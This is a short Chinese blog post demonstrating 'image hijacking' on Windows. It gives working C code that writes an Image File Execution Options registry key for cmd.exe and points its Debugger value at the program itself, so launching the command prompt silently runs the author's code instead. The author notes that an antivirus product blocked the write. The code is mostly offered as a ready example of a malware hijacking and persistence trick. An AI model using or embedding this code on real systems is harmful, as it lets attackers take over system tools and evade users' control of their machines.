映像劫持技术(2):实例
2016-01-01 04:17
423 查看
在Image File Execution Options下创建cmd.exe项,将其“重定向”到我们自己编写的程序
程序运行的结果只是在创建了cmd.exe项目,在设置该项的值的时候,360安全卫士报毒了,设置不成功
#include<stdio.h> #include<windows.h> int main() { HKEY hKey; DWORD dwDisposition=REG_CREATED_NEW_KEY; //新建一个子项 if((::RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Cmd.exe", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition))==ERROR_SUCCESS) { printf("success to Create the reg key.\n"); char strPath[MAX_PATH]; int size=GetModuleFileName(NULL,strPath,sizeof(strPath)); int ret=RegSetValueEx(hKey,"Debugger",0,REG_SZ,(const unsigned char *)strPath,size); if(ret==ERROR_SUCCESS) { printf("success to set the registry keys.\n"); } else { printf("fail to set the registry keys.\n"); } RegCloseKey(hKey); } else { printf("fail to create a reg key.\n"); } return 0; }
程序运行的结果只是在创建了cmd.exe项目,在设置该项的值的时候,360安全卫士报毒了,设置不成功
相关文章推荐
- 映像劫持技术(1):简单介绍
- 将程序复制到系统目录,设置开机自启动
- 理解Fragment生命周期
- Fragment间的通信
- Java设计模式——六大原则
- Android之greenDao的使用
- 黑马程序员——网络编程之TCP协议
- HDU2853-Assignment KM 限制边的交换
- 接口回调
- cocos2d-x学习笔记【一】创建自己的场景类
- 黑马程序员——网络编程之UDP协议
- -bash: fork: retry: Resource temporarily unavailable
- 在新的一年里,小娜伴我前行
- ISO/IEC 9899:2011 条款6.8.4——选择语句
- 医道官途
- Android子线程中更新UI的三种方法和获取message的两种方法总结
- HDU3435-A new Graph Game KM
- Android Studio开发项目中问题总结
- Gradlle 全解析(Android官方技术文档翻译)
- HDU3488-Tour KM